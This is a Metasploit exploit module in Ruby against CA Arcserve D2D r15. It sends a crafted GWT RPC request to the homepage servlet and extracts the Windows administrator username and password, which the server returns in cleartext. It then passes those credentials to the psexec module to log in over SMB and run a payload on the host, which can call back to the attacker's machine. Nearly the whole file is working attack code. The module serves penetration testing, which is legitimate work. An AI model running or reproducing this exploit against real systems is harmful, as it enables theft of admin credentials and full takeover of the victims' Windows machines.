##
# $Id: ca_arcserve_rpc_authbypass.rb 13467 2011-08-01 21:20:29Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Report

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
   'Description'    => %q{
     This module exploits an information disclosure vulnerability in the CA Arcserve
    D2D r15 web server. The information disclosure can be triggered by sending a
    specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
    disclosure the username and password in cleartext used for authentication. This
    username and password pair are Windows credentials with Administrator access.
   },
   'Author'         =>
    [
     'bannedit', # metasploit module
     'rgod', # original public exploit
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13467 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17574/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0d\x0a",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'July 25 2011',
   'DefaultTarget' => 0))
   

  register_options(
   [
    Opt::RPORT(8014),
   ], self.class )
 end

 def exploit
  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

  data  = "5|0|4|"
  data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
  data << "/contents/"
  data << "|2C6B33BED38F825C48AE73C093241510|"
  data << "com.ca.arcflash.ui.client.homepage.HomepageService"
  data << "|getLocalHost|1|2|3|4|0|"

  cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"

  resp = send_request_raw({
   'uri'     => '/contents/service/homepage',
   'version' => '1.1',
   'method'  => 'POST',
   'cookie'  => cookie,
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => "text/x-gwt-rpc; charset=utf-8",
    'Content-Length' => data.length
   }
  }, 5)

  resp = resp.to_s.split(',')
  user = resp[resp.index("\"user\"")+1].gsub(/\"/, "")
  pass = resp[resp.index("\"password\"")+1].gsub(/\"/, "")
 
  # report the auth
  auth = {
    :host   => datastore['RHOST'],
    :port   => datastore['RPORT'],
    :sname  => 'ca.arcserver.d2d',
    :user   => user,
    :pass   => pass,
    :active => true
   }
  report_auth_info(auth)

  if user.nil? or pass.nil?
   print_error("Failed to collect the username and password")
   return
  end

  print_good("Collected credentials User: '#{user}' Password: '#{pass}'")

  # try psexec on the remote host
  psexec = framework.exploits.create("windows/smb/psexec")
  psexec.register_parent(self)

  psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']

  if self.datastore['LHOST'] and self.datastore['LPORT']
   psexec.datastore['LHOST'] = self.datastore['LHOST']
   psexec.datastore['LPORT'] = self.datastore['LPORT']
  end

  psexec.datastore['RHOST'] = self.datastore['RHOST']

  psexec.datastore['DisablePayloadHandler'] = true
  psexec.datastore['SMBPass'] = pass
  psexec.datastore['SMBUser'] = user

  print_status("Attempting to login via windows/smb/psexec")

  # this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
  begin
   psexec.exploit_simple(
    'LocalInput'  => self.user_input,
    'LocalOutput' => self.user_output,
    'Payload'  => psexec.datastore['PAYLOAD'],
    'RunAsJob' => true
   )
  rescue
   print_status("Login attempt using windows/smb/psexec failed")
   print_status("Credentials have been stored and may be useful for authentication against other services.")
   return
  end

  handler
 end
end